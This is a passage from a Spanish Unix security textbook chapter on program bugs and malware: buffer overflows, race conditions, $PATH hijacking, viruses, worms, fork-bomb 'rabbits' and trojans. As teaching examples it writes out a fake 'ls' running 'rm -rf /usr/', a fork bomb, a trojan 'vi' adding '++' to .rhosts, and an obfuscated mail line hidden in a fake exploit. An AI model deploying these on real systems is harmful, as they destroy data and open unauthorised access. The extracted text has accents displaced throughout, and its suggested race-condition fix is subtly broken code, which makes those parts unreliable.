- 85. Cap´ ıtulo 5 Programas seguros, inseguros y nocivos 5.1 Introducci´n o En 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90], un art´ ıculo en el que se mostraba que demasiadas herramientas est´ndar (m´s del 25%) de Unix fallaban ante elementos a a tan simples como una entrada anormal. Cinco a˜os m´s tarde otro grupo de investigaci´n, dirigido n a o tambi´n por Barton P. Miller, realiz´ el estudio [MKL+ 95], lamentablemente no publicado; las con- e o clusiones en este ultimo estudio fueron sorprendentes: el sistema con las herramientas m´s estables ´ a era Slackware Linux, un Unix gratuito y de c´digo fuente libre que presentaba una tasa de fallos o muy inferior al de sistemas comerciales como Solaris o IRIX. Aparte de este hecho anecd´tico, era o preocupante comprobar como la mayor´ de problemas descubiertos en 1990 segu´ presente en los ıa ıa sistemas Unix estudiados. Aunque por fortuna la calidad del software ha mejorado mucho en los ultimos a˜os1 , y esa mejora ´ n lleva asociada una mejora en la robustez del c´digo, los fallos y errores de dise˜o en aplicaciones o o n en el propio n´cleo son una de las fuentes de amenazas a la seguridad de todo sistema inform´tico. u a Pero no s´lo los errores son problem´ticos, sino que existen programas – como los virus – realizados o a en la mayor´ de situaciones no para realizar tareas utiles sino para comprometer la seguridad de ıa ´ una m´quina o de toda una red. Este tipo de programas s´lamente compromete la seguridad cuando a o afectan al administrador; si un virus infecta ficheros de un usuario, o si ´ste ejecuta un troyano, s´lo e o podr´ perjudicarse a s´ mismo: podr´ borrar sus ficheros, enviar correo en su nombre o matar sus a ı a procesos, pero no hacer lo mismo con el resto de usuarios o el root. El problema para la seguridad viene cuando es el propio administrador quien utiliza programas contaminados por cualquier clase de fauna, y para evitar esto hay una medida de protecci´n b´sica: la prevenci´n. Es crucial que o a o las actividades como administrador se reduzcan al m´ ınimo, ejecutando como usuario normal las tareas que no requieran de privilegios. Cuando no quede m´s remedio que trabajar como root (por a ejemplo a la hora de instalar software en el sistema), no hemos de ejecutar nada que no provenga de una fuente fiable, e incluso as´ tomar precauciones en caso de que el programa realice funciones ı m´ ınimamente delicadas para el sistema operativo (por ejemplo, probarlo antes en una m´quina de a testeo, o en entornos cerrados con chroot()). Es muy normal, sobre todo entre administradores de Linux, el recomendar que no se ejecute nada sin haber le´ previamente el c´digo fuente, o al menos ıdo o que dicho c´digo est´ disponible; esto, aunque es una soluci´n perfecta al problema, es inaplicable o e o en la mayor´ de situaciones. Por un lado, no todas las aplicaciones o sistemas tienen su c´digo ıa o abierto a sus usuarios, por lo que nos estar´ ıamos restringiendo a utilizar programas generalmente no comerciales – algo que quiz´s no depende de nosotros, como administradores –. Por otro, resulta a absurdo pensar que un administrador tenga el tiempo necesario para leer (y lo m´s importante, a para comprobar) cada l´ ınea del c´digo de todos los programas instalados en sus m´quinas. o a 1 En Unix, claro.
- 86. 68 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS 5.2 La base fiable de c´mputo o La base fiable (o segura) de c´mputo (Trusted Computing Base, TCB) es una caracter´ o ıstica de ciertos Unices que incrementa la seguridad del sistema marcando ciertos elementos del mismo como ‘seguros’. Aunque estos elementos son b´sicamente el hardware y ciertos ficheros, la parte software a es mucho m´s importante para el administrador que la m´quina f´ a a ısica, por lo que aqu´ hablaremos ı principalmente de ella. Los ficheros pertenecientes a la base segura de c´mputo, y la TCB en su o conjunto, tratan de asegurar al administrador que est´ ejecutando el programa que desea y no otro a que un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano). La TCB implementa la pol´ıtica de seguridad del sistema inspeccionando y vigilando las interacciones entre entidades (procesos) y objetos (principalmente ficheros); dicha pol´ıtica suele consistir en un control de accesos y en la reutilizaci´n de objetos (c´mo debe inicializarse o desinstalarse un objeto antes o o de ser reasignado). Los ficheros con la marca de seguridad activada son generalmente el propio n´cleo del sistema u operativo y archivos que mantienen datos relevantes para la seguridad, contenidos en ciertos direc- torios como /tcb/ o /etc/auth/; cualquier fichero nuevo o que pertenezca a la TCB pero que haya sido modificado autom´ticamente tiene su marca desactivada. Puede ser activada o reactivada por a el administrador (por ejemplo, en AIX con la orden tcbck -a), aunque en algunos sistemas para que un archivo pertenezca a la TCB tiene que haber sido creado con programas que ya pertenec´ ıan a la TCB. Con este mecanismo se trata de asegurar que nadie, y especialmente el root, va a ejecu- tar por accidente c´digo peligroso: si el administrador ha de ejecutar tareas sensibles de cara a la o seguridad, puede arrancar un int´rprete de comandos seguro (perteneciente a la TCB) que s´lo le e o permitir´ ejecutar programas que est´n en la base. a e La comunicaci´n entre la base fiable de c´mputo y el usuario se ha de realizar a trav´s de lo o o e que se denomina la ruta de comunicaci´n fiable (Trusted Communication Path, TCP), ruta o que se ha de invocar mediante una combinaci´n de teclas (por ejemplo, Ctrl-X Ctrl-R en AIX) o denominada SAK (Secure Attention Key) siempre que el usuario deba introducir datos que no de- ban ser comprometidos, como una clave. Tras invocar a la ruta de comunicaci´n fiable mediante la o combinaci´n de teclas correspondiente el sistema operativo se ha de asegurar de que los programas o no fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde la que se ha intro- ducido el SAK; una vez conseguido esto – generalmente a partir de init – se solicitar´ al usuario a en la terminal su login y su password, y si ambos son correctos se lanzar´ un shell fiable (tsh), que a s´lo ejecutar´ programas miembros de la TCB (algo que es muy util por ejemplo para establecer o a ´ un entorno seguro para la administraci´n del sistema, si el usuario es el root). Desde el punto de o vista del usuario, tras pulsar el SAK lo unico que aparecer´ ser´ un prompt solicitando el login y la ´ a a clave; si en lugar de esto aparece el s´ ımbolo de tsh, significa que alguien ha intentado robar nuestra contrase˜a: deberemos averiguar qui´n est´ haciendo uso de esa terminal (por ejemplo mediante n e a who) y notificarlo al administrador – o tomar las medidas oportunas si ese administrador somos nosotros –. A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido en ella, con la marca activada, no siempre es garant´ de seguridad; como todos los mecanismos existentes, la base ıa fiable de c´mputo est´ pensada para utilizarse junto a otros mecanismos, y no en lugar de ellos. o a 5.3 Errores en los programas Los errores o bugs a la hora de programar c´digo de aplicaciones o del propio n´cleo de Unix o u constituyen una de las amenazas a la seguridad que m´s quebraderos de cabeza proporciona a la a comunidad de la seguridad inform´tica. En la mayor´ de situaciones no se trata de desconocimiento a ıa a la hora de realizar programas seguros, sino del hecho que es pr´cticamente imposible no equiv- a ocarse en miles de l´ıneas de c´digo: simplemente el n´cleo de Minix, un mini-Unix dise˜ado por o u n Andrew Tanenbaum ([Tan91]) con fines docentes, tiene m´s de 13000 l´ a ıneas de c´digo en su versi´n o o 1.0.
- 87. 5.3. ERRORES EN LOS PROGRAMAS 69 Cuando un error sucede en un programa que se ejecuta en modo usuario el unico problema que suele ´ causar es la inconveniencia para quien lo estaba utilizando. Por ejemplo, imaginemos un acceso no autorizado a memoria por parte de cierta aplicaci´n; el sistema operativo detectar´ que se intenta o a violar la seguridad del sistema y finalizar´ el programa envi´ndole la se˜al sigsegv. Pero si ese a a n mismo error sucede en un programa que corre con privilegios de root – por ejemplo, un ejecutable setuidado –, un atacante puede aprovechar el fallo para ejecutar c´digo malicioso que el programa o a priori no deb´ ejecutar. Y si un error similar se produce en el c´digo del kernel del sistema op- ıa o erativo, las consecuencias son incluso peores: se podr´ llegar a producir un Kernel Panic o, dicho ıa de otra forma, la parada s´bita de la m´quina en la mayor´ de situaciones; el error m´s grave que u a ıa a se puede generar en Unix. 5.3.1 Buffer overflows Seguramente uno de los errores m´s comunes, y sin duda el m´s conocido y utilizado es el stack a a smashing o desbordamiento de pila, tambi´n conocido por buffer overflow2 ; aunque el gusano de e Robert T. Morris (1988) ya lo utilizaba, no fu´ hasta 1997 cuando este fallo se hizo realmente popu- e lar a ra´ de [One96]. A pesar de que alguien pueda pensar que en todo el tiempo trascurrido hasta ız hoy en d´ los problemas de buffer overflow estar´n solucionados, o al menos controlados, a´n se ıa a u ven con frecuencia alertas sobre programas que se ven afectados por desbordamientos (justamente hoy, 28 de febrero del 2000, han llegado a la lista bugtraq un par de programas que aprovecha- ban estos errores para aumentar el nivel de privilegio de un usuario en el sistema). Aunque cada vez los programas son m´s seguros, especialmente los setuidados, es casi seguro que un potencial a atacante que acceda a nuestro sistema va a intentar – si no lo ha hecho ya – conseguir privilegios de administrador a trav´s de un buffer overflow. e La idea del stack smashing es sencilla: en algunas implementaciones de C es posible corromper la pila de ejecuci´n de un programa escribiendo m´s all´ de los l´ o a a ımites de un array declarado auto en una funci´n; esto puede causar que la direcci´n de retorno de dicha funci´n sea una direcci´n o o o o aleatoria. Esto, unido a permisos de los ficheros ejecutables en Unix (principalmente a los bits de Se- tUID y SetGID), hace que el sistema operativo pueda otorgar acceso root a usuarios sin privilegios. Por ejemplo, imaginemos una funci´n que trate de copiar con strcpy() un array de 200 caracteres o en uno de 20: al ejecutar el programa, se generar´ una violaci´n de segmento (y por tanto el cl´sico a o a core dump al que los usuarios de Unix estamos acostumbrados). Se ha producido una sobreescritura de la direcci´n de retorno de la funci´n; si logramos que esta sobreescritura no sea aleatoria sino o o que apunte a un c´digo concreto (habitualmente el c´digo de un shell), dicho c´digo se va a ejecutar. o o o ¿Cu´l es el problema? El problema reside en los ficheros setuidados y setgidados; recordemos que a cuando alguien los ejecuta, est´ trabajando con los privilegios de quien los cre´, y todo lo que ejecute a o lo hace con esos privilegios. . . incluido el c´digo que se ha insertado en la direcci´n de retorno de o o nuestra funci´n problem´tica. Si como hemos dicho, este c´digo es el de un int´rprete de comandos o a o e y el fichero pertenece al administrador, el atacante consigue ejecutar un shell con privilegios de root. Existen multitud de exploits (programas que aprovechan un error en otro programa para violar la pol´ ıtica de seguridad del sistema) disponibles en Internet, para casi todas las variantes de Unix y que incluyen el c´digo necesario para ejecutar shells sobre cualquier operativo y arquitectura. o Para minimizar el impacto que los desbordamientos pueden causar en nuestro sistema es necesaria una colaboraci´n entre fabricantes, administradores y programadores ([Ins97], [Smi97]. . . ). Los o primeros han de tratar de verificar m´s la robustez de los programas cr´ a ıticos antes de distribuirlos, mientras que los administradores han de mantener al m´ ınimo el n´mero de ficheros setuidados o u setgidados en sus sistemas y los programadores tienen que esforzarse en generar c´digo con menos o puntos de desbordamiento; en [CWP+ 00] se pueden encontrar algunas l´ ıneas a tener en cuenta en la prevenci´n de buffer overflows. o 2 Realmente el stack smashing es un caso particular del buffer overflow, aunque al ser el m´s habitual se suelen a confundir ambos t´rminos ([C+ 98]). e
- 88. 70 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS 5.3.2 Condiciones de carrera Otro error muy conocido en el mundo de los sistemas operativos son las condiciones de carrera, situaciones en las que dos o m´s procesos leen o escriben en un ´rea compartida y el resultado final a a depende de los instantes de ejecuci´n de cada uno ([Tan91]). Cuando una situaci´n de este tipo se o o produce y acciones que deber´ ser at´micas no lo son, existe un intervalo de tiempo durante el ıan o que un atacante puede obtener privilegios, leer y escribir ficheros protegidos, y en definitiva violar las pol´ ıticas de seguridad del sistema ([Bis95]). Por ejemplo, imaginemos un programa setuidado perteneciente a root que almacene informaci´n o en un fichero propiedad del usuario que est´ ejecutando el programa; seguramente el c´digo con- a o tendr´ unas l´ a ıneas similares a las siguientes (no se ha incluido la comprobaci´n b´sica de errores o a por motivos de claridad): if(access(fichero, W_OK)==0){ open(); write(); } En una ejecuci´n normal, si el usuario no tiene privilegios suficientes para escribir en el fichero, la o llamada a access() devolver´ -1 y no se permitir´ la escritura. Si esta llamada no falla open() a a tampoco lo har´, ya que el UID efectivo con que se est´ ejecutando el programa es el del root; as´ a a ı nos estamos asegurando que el programa escriba en el fichero si y s´lo si el usuario que lo ejecuta o puede hacerlo – sin privilegios adicionales por el setuid –. Pero, ¿qu´ sucede si el fichero cambia e entre la llamada a access() y las siguientes? El programa estar´ escribiendo en un archivo sobre a el que no se han realizado las comprobaciones necesarias para garantizar la seguridad. Por ejemplo, imaginemos que tras la llamada a access(), y justo antes de que se ejecute open(), el usuario borra el fichero referenciado y enlaza /etc/passwd con el mismo nombre: el programa estar´ escribiendo a informaci´n en el fichero de contrase˜as. o n Este tipo de situaci´n, en la que un programa comprueba una propiedad de un objeto y luego o ejecuta determinada acci´n asumiendo que la propiedad se mantiene, cuando realmente no es as´ o ı, se denomina TOCTTOU (Time of check to time of use). ¿Qu´ se puede hacer para evitarla? El e propio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, pode- mos utilizar descriptores de fichero en lugar de nombres: en nuestro caso, deber´ ıamos utilizar una variante de la llamada access() que trabaje con descriptores en lugar de nombres de archivo (no es algo que exista realmente, ser´ necesario modificar el n´cleo del operativo para conseguirlo); con ıa u esto conseguimos que aunque se modifique el nombre del fichero, el objeto al que accedemos sea el mismo durante todo el tiempo. Adem´s, es conveniente invertir el orden de las llamadas (invocar a primero a open() y despu´s a nuestra variante de access()); de esta forma, el c´digo anterior e o quedar´ como sigue: ıa if((fd=open(fichero, O_WRONLY))==NULL){ if (access2(fileno(fp),W_OK)==0){ write(); } } No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente que utilice descriptores; para no tener que reprogramar todo el n´cleo de Unix, existe una segunda soluci´n que u o cubre tambi´n a estas llamadas: asociar un descriptor y un nombre de fichero sin restringir el modo e de acceso. Para esto se utilizar´ un modo especial de apertura, O ACCESS – que ser´ necesario ıa ıa implementar –, en lugar de los cl´sicos O RDONLY, O WRONLY o O RDWR; este nuevo modo garantizar´ a ıa que si el objeto existe se har´ sobre ´l un open() habitual pero sin derecho de escritura o lectura ıa e (ser´ necesario efectuar una segunda llamada a la funci´n, con los par´metros adecuados), y si no ıa o a existe se reserva un nombre y un inodo de tipo ‘reservado’, un tipo de transici´n que posteriormente o ser´ necesario convertir en un tipo de fichero habitual en Unix (directorio, socket, enlace. . . ) con ıa las llamadas correspondientes.
- 89. 5.4. FAUNA Y OTRAS AMENAZAS 71 5.4 Fauna y otras amenazas En el punto anterior hemos hablado de problemas de seguridad derivados de errores o descuidos a la hora de programar; sin embargo, no todas las amenazas l´gicas provienen de simples errores: o ciertos programas, denominados en su conjunto malware o software malicioso, son creados con la intenci´n principal de atacar a la seguridad3 . En esta secci´n vamos a hablar de algunos tipos de o o malware, sus caracter´ısticas y sus efectos potenciales. Para prevenir casi todo el software malicioso que pueda afectar a nuestros sistemas es necesaria una buena concienciaci´n de los usuarios: bajo ning´n concepto han de ejecutar software que no o u provenga de fuentes fiables, especialmente programas descargados de p´ginas underground o ficheros a enviados a trav´s de irc. Evidentemente, esto se ha de aplicar – y con m´s rigor – al administrador e a de la m´quina; si un usuario ejecuta un programa que contiene un virus o un troyano, es casi im- a posible que afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, ser´n los unicos a ´ perjudicados. Si es el root quien ejecuta el programa contaminado, cualquier archivo del sistema puede contagiarse – virus – o las acciones destructivas del malware – troyano – afectar´n sin l´ a ımites a todos los recursos del sistema. Aparte de descargar el software de fuentes fiables, es recomendable utilizar las ‘huellas’ de todos los programas (generalmente res´menes md5 de los ficheros) para u verificar que hemos bajado el archivo leg´ ıtimo; tambi´n es preferible descargar el c´digo fuente y e o compilar nosotros mismos los programas: aparte de cuestiones de eficiencia, siempre tenemos la posibilidad de revisar el c´digo en busca de potenciales problemas de seguridad. o Otra medida de seguridad muy importante es la correcta asignaci´n de la variable de entorno o $PATH, especialmente para el administrador del sistema. Esta variable est´ formada por todos los a directorios en los que el shell buscar´ comandos para ejecutarlos; podemos visualizar su contenido a mediante la siguiente orden: anita:~# echo $PATH /sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin: /usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin anita:~# Cuando un usuario teclea una ´rden en la l´ o ınea de comandos, el shell busca en cada uno de estos directorios un ejecutable con el mismo nombre que el tecleado; si lo encuentra, lo ejecuta sin m´s, y a si no lo encuentra se produce un mensaje de error (el cl´sico ‘command not found’). Esta b´squeda a u se realiza en el orden en que aparecen los directorios del $PATH: si por ejemplo se hubiera tecleado ‘ls’, en nuestro caso se buscar´ en primer lugar /sbin/ls; como – seguramente – no existir´, ıa a se pasar´ al siguiente directorio de la variable, esto es, se intentar´ ejecutar /usr/sbin/ls. Este a a fichero tampoco ha de existir, por lo que se intentar´ de nuevo con /bin/ls, la ubicaci´n normal a o del programa, y se ejecutar´ este fichero. a ¿Qu´ problema hay con esta variable? Muy sencillo: para que sea m´ e ınimamente aceptable, ninguno de los directorios del $PATH ha de poseer permiso de escritura para los usuarios normales; esto incluye evidentemente directorios como /tmp/, pero tambi´n otro que a primera vista puede no e tener mucho sentido: el directorio actual, ‘.’. Imaginemos la siguiente situaci´n: el root de un o sistema Unix tiene incluido en su variable $PATH el directorio actual como uno m´s donde buscar a ejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo, la variable de entorno puede tener el siguiente contenido: anita:~# echo $PATH .:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin: /usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin anita:~# Si este administrador desea comprobar el contenido del directorio /tmp/, o el de $HOME de alguno de sus usuarios (recordemos, directorios donde pueden escribir), seguramente ir´ a dicho directorio a 3 Realmente, algunos de ellos no son necesariamente nocivos; es su uso indebido y no la intenci´n de su programador o lo que los convierte en peligrosos.
- 90. 72 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS y ejecutar´ un simple ls. Pero, ¿qu´ sucede si el ‘.’ est´ en primer lugar en la variable $PATH? a e a El shell buscar´ en primer lugar en el directorio actual, por ejemplo /tmp/, de forma que si ah´ a ı existe un ejecutable denominado ‘ls’, se ejecutar´ sin m´s: teniendo en cuenta que cualquiera a a puede escribir en el directorio, ese programa puede tener el siguiente contenido: anita:~# cat /tmp/ls #!/bin/sh rm -rf /usr/ & anita:~# Como podemos ver, un inocente ‘ls’ puede destruir parte del sistema de ficheros – o todo –, sim- plemente porque el administrador no ha tenido la precauci´n de eliminar de su $PATH directorios o donde los usuarios puedan escribir. Seguramente alguien encontrar´ una soluci´n – falsa – a este problema: si la cuesti´n reside en a o o el orden de b´squeda, ¿por qu´ no poner el directorio actual al final del $PATH, depu´s de todos u e e los directorios fiables? De esta forma, el programa ./ls no se ejecutar´ nunca, ya que antes el shell a va a encontrar con toda seguridad al programa leg´ ıtimo, /bin/ls. Evidentemente esto es as´ pero ı, es f´cil comprobar que el problema persiste: imaginemos que estamos en esa situaci´n, y ahora a o tecleamos en /tmp/ la orden ls|more. No ocurrir´ nada anormal, ya que tanto ‘ls’ como ‘more’ a son programas que el shell ejecutar´ antes de analizar ‘.’. Pero, ¿qu´ pasar´ si nos equivocamos a e ıa al teclear, y en lugar de ‘more’ escribimos ‘moer’? Al fin y al cabo, no es un ejemplo tan rebus- cado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre as´ el int´rprete de ı, e o ´rdenes no encontrar´ ning´n programa que se llame ‘moer’ en el $PATH, por lo que se generar´ a u a un mensaje de error. . . ¿Ninguno? ¿Y si un usuario ha creado /tmp/moer, con un contenido similar al /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocente como esta puede afectar gravemente a la integridad de nuestras m´quinas. Visto esto, parece claro a que bajo ning´n concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni u siquiera el directorio actual (‘.’) en la variable $PATH. 5.4.1 Virus Un virus es una secuencia de c´digo que se inserta en un fichero ejecutable denominado host, de o forma que al ejecutar el programa tambi´n se ejecuta el virus; generalmente esta ejecuci´n implica e o la copia del c´digo viral – o una modificaci´n del mismo – en otros programas. El virus necesita o o obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede con- siderar un programa o proceso independiente. Durante a˜os, un debate t´ n ıpico entre la comunidad de la seguridad inform´tica es la existencia a de virus en Unix ([Rad92], [Rad93], [Rad95]. . . ). ¿Existen virus en este entorno, o por el contrario son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmente ex- isten virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF como shellscripts: ya en 1983 Fred Cohen dise˜´ un virus que se ejecutaba con ´xito sobre Unix en una no e VAX 11–750 ([Coh84]); a˜os m´s tarde, en art´ n a ıculos como [Duf89] o [McI89] se ha mostrado incluso el c´digo necesario para la infecci´n. o o Parece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, ¿d´nde o est´ el debate? La discusi´n se centra en hasta qu´ punto un virus para Unix puede comprometer a o e la seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muy perjudiciales en los sistemas Unix de hoy en d´ Se suele tratar de c´digo escrito unicamente co- ıa. o ´ mo curiosidad cient´ ıfica, ya que cualquier acci´n que realice un virus es en general m´s f´cilmente o a a realizable por otros medios como un simple exploit; de hecho, uno de los primeros virus para Unix (en t´rminos puristas se podr´ considerar un troyano m´s que un virus) fu´ creado por uno de e ıa a e los propios dise˜adores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de da˜ar al n n sistema, sino de mostrar hasta qu´ punto se puede confiar en el software de una m´quina. e a
- 91. 5.4. FAUNA Y OTRAS AMENAZAS 73 5.4.2 Gusanos El t´rmino gusano, acu˜ado en 1975 en la obra de ciencia ficci´n de John Brunner The Shockwave e n o Rider hace referencia a programas capaces de viajar por s´ mismos a trav´s de redes de computa- ı e dores para realizar cualquier actividad una vez alcanzada una m´quina; aunque esta actividad no a tiene por qu´ entra˜ar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar e n a este sistema como har´ un intruso, o simplemente consumir excesivas cantidades de ancho de ıa banda en la red afectada. Aunque se trata de malware much´ ısimo menos habitual que por ejemplo los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy dif´ ıcil, los gusanos son una de las amenazas que potencialmente puede causar mayores da˜os: no debemos n olvidar que el mayor incidente de seguridad de la historia de Unix e Internet fu´ a causa de un e gusano (el famoso Worm de 1988). Antes del Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a prin- cipios de los setenta Bob Thomas escribi´ lo que muchos consideran el primer gusano inform´tico. o a Este programa, denominado ‘creeper’, no era ni mucho menos malware, sino que era utilizado en los aeropuertos por los controladores a´reos para notificar que el control de determinado avi´n e o hab´ pasado de un ordenador a otro. Otros ejemplos de gusanos utiles fueron los desarrollados ıa ´ a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigaci´n de Xerox en o Palo Alto, California; estos worms se dedicaron a tareas como el intercambio de mensajes entre sistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionaba aparentemente bien, hasta que una ma˜ana al llegar al centro ning´n ordenador funcion´ debido a n u o un error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porque el gusano segu´ trabajando, por lo que fu´ necesario dise˜ar una vacuna. Este es considerado el ıa e n primer incidente de seguridad en el que entraban worms en juego. Sin embargo, no fu´ hasta 1988 cuando se produjo el primer incidente de seguridad ‘serio’ provocado e por un gusano, que a la larga se ha convertido en el primer problema de seguridad inform´tica que a salt´ a los medios ([Mar88a], [Mar88b], [Roy88]. . . ) y tambi´n en el m´s grave – civil, al menos o e a – de todos los tiempos. El 2 de noviembre de ese a˜o, Robert T. Morris salt´ a la fama cuando n o uno de sus programas se convirti´ en ‘el Gusano’ con may´sculas, en el Worm de Internet. La o u principal causa del problema fu´ la filosof´ ‘Security through Obscurity’ que muchos a´n defienden e ıa u hoy en d´ este joven estudiante era hijo del prestigioso cient´ ıa: ıfico Robert Morris, experto en Unix y seguridad – entre otros lugares, ha trabajado por ejemplo para el National Computer Security Center estadounidense –, quien conoc´ perfectamente uno de los muchos fallos en Sendmail. No ıa hizo p´blico este fallo ni su soluci´n, y su hijo aprovech´ ese conocimiento para incorporarlo a su u o o gusano (se puede leer parte de esta fascinante historia en [Sto89]). El Worm aprovechaba varias vulnerabilidades en programas como sendmail, fingerd, rsh y rexecd ([See89]) para acceder a un sistema, contaminarlo, y desde ´l seguir actuando hacia otras m´quinas (en [Spa88], [ER89] o e a [Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas, miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobre- carga de procesos sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistema no era ninguna soluci´n, porque tras unos minutos de funcionamiento el sistema volv´ a presentar o ıa el mismo problema. Fueron necesarias muchas horas de trabajo para poder detener el Worm de Robert T. Morris; expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces de desensamblar el c´digo y proporcionar una soluci´n al problema. Junto a ellos, cientos de admin- o o istradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios d´ ıas para analizar c´mo se hab´ contaminado y cu´les eran los efectos que el gusano hab´ causado en o ıan a ıa sus sistemas. El d´ 8 de noviembre, casi una semana despu´s del ataque, expertos en seguridad de ıa e casi todos los ´mbitos de la vida estadounidense se reunieron para aclarar qu´ es lo que pas´ exac- a e o tamente, c´mo se hab´ resuelto, cu´les eran las consecuencias y c´mo se pod´ evitar que sucediera o ıa a o ıa algo parecido en el futuro; all´ hab´ desde investigadores del MIT o Berkeley hasta miembros de la ı ıa CIA, el Departamento de Energ´ o el Laboratorio de Investigaci´n Bal´ ıa o ıstica, pasando por supuesto por miembros del National Computer Security Center, organizador del evento. Esta reuni´n, y o el incidente en s´ marcaron un antes y un despu´s en la historia de la seguridad inform´tica; la ı, e a
- 92. 74 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS sociedad en general y los investigadores en particular tomaron conciencia del grave problema que supon´ un ataque de esa envergadura, y a partir de ah´ comenzaron a surgir organizaciones como el ıa ı CERT, encargadas de velar por la seguridad de los sistemas inform´ticos. Tambi´n se determinaron a e medidas de prevenci´n que siguen vigentes hoy en d´ de forma que otros ataques de gusanos no o ıa, han sido tan espectaculares: a finales de 1989 un gusano llamado wank, que a diferencia del de Morris era destructivo, no tuvo ni de lejos las repercusiones que ´ste. Desde entonces, no ha habido e ninguna noticia importante – al menos publicada por el CERT – de gusanos en entornos Unix. 5.4.3 Conejos Los conejos o bacterias son programas que de forma directa no da˜an al sistema, sino que se limitan n a reproducirse, generalmente de forma exponencial, hasta que la cantidad de recursos consumidos (procesador, memoria, disco. . . ) se convierte en una negaci´n de servicio para el sistema afectado. o Por ejemplo, imaginemos una m´quina Unix sin una quota de procesos establecida; cualquier usuario a podr´ ejecutar un c´digo como el siguiente: ıa o main(){ while(1){ malloc(1024); fork(); } } Este programa reservar´ un kilobyte de memoria y a continuaci´n crear´ una copia de ´l mismo; ıa o ıa e el programa original y la copia repetir´ estas acciones, generando cuatro copias en memoria que ıan volver´ a hacer lo mismo. As´ tras un intervalo de ejecuci´n, el c´digo anterior consumir´ toda ıan ı, o o ıa la memoria del sistema, pudiendo provocar incluso su parada. La mejor forma de prevenir ataques de conejos (o simples errores en los programas, que hagan que ´stos consuman excesivos recursos) es utilizar las facilidades que los n´cleos de cualquier Unix e u moderno ofrecen para limitar los recursos que un determinado proceso o usuario puede llegar a consumir en nuestro sistema; en la secci´n tres se repasan algunos de los par´metros necesarios o a para realizar esta tarea sobre diversos clones del sistema Unix. 5.4.4 Caballos de Troya En el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos, tras mucho tiempo de asedio a la ciudad de Troya, decidieron construir un gran caballo de madera en cuyo interior se escondieron unos cuantos soldados; el resto del ej´rcito griego abandon´ el asedio dejando all´ e o ı el caballo, y al darse cuenta de que el sitio a su ciudad hab´ acabado, los troyanos salieron a ıa inspeccionar ese gran caballo de madera. Lo tomaron como una muestra de su victoria y lo intro- dujeron tras las murallas de la ciudad sin darse cuenta de lo que realmente hab´ en ´l. Cuando los ıa e troyanos estaban celebrando el fin del asedio, del interior del caballo salieron los soldados griegos, que abrieron las puertas de la ciudad al resto de su ej´rcito – que hab´ vuelto al lugar – y pudieron e ıa de esta forma conquistar la ciudad de Troya. De la misma forma que el antiguo caballo de Troya de la mitolog´ griega escond´ en su interior ıa ıa algo que los troyanos desconoc´ y que ten´ una funci´n muy diferente a la que ellos pensaban, un ıan, ıa o troyano o caballo de Troya actual es un programa que aparentemente realiza una funci´n util para o ´ qui´n lo ejecuta, pero que en realidad – o aparte – realiza una funci´n que el usuario desconoce, e o generalmente da˜ina. Por ejemplo, un usuario que posea el suficiente privilegio en el sistema puede n renombrar el editor vi como vi.old, y crear un programa denominado vi como el siguiente: #!/bin/sh echo "++">$HOME/.rhosts vi.old $1 Si esto sucede, cuando alguien trate de editar un fichero autom´ticamente va a crear un fichero a .rhosts en su directorio de usuario, que permitir´ a un atacante acceder de una forma sencilla al a
- 93. 5.4. FAUNA Y OTRAS AMENAZAS 75 sistema utilizando las ´rdenes r-∗ de Unix BSD. o Los troyanos son quiz´s el malware m´s difundido en cualquier tipo de entorno ([KT97]), incluyen- a a do por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos en los que comenta un potencial problema de seguridad – real – en una lista de correo y se acompa˜a la n descripci´n de un shellscript que en principio aprovecha dicho problema para conseguir privilegios o de root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a la siguiente: echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail -s "‘echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk‘" root De esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema, sin darse cuenta autom´ticamente lo estar´ notificando al administrador del mismo; evidentemente a a el exploit suele ser falso y no da ning´n privilegio adicional, simplemente sirve para que el root sepa u qu´ usuarios est´n ‘jugando’ con la seguridad de sus m´quinas. e a a Por desgracia, estos troyanos inofensivos no son los m´s comunes; existen tambi´n ejemplos de a e caballos de Troya 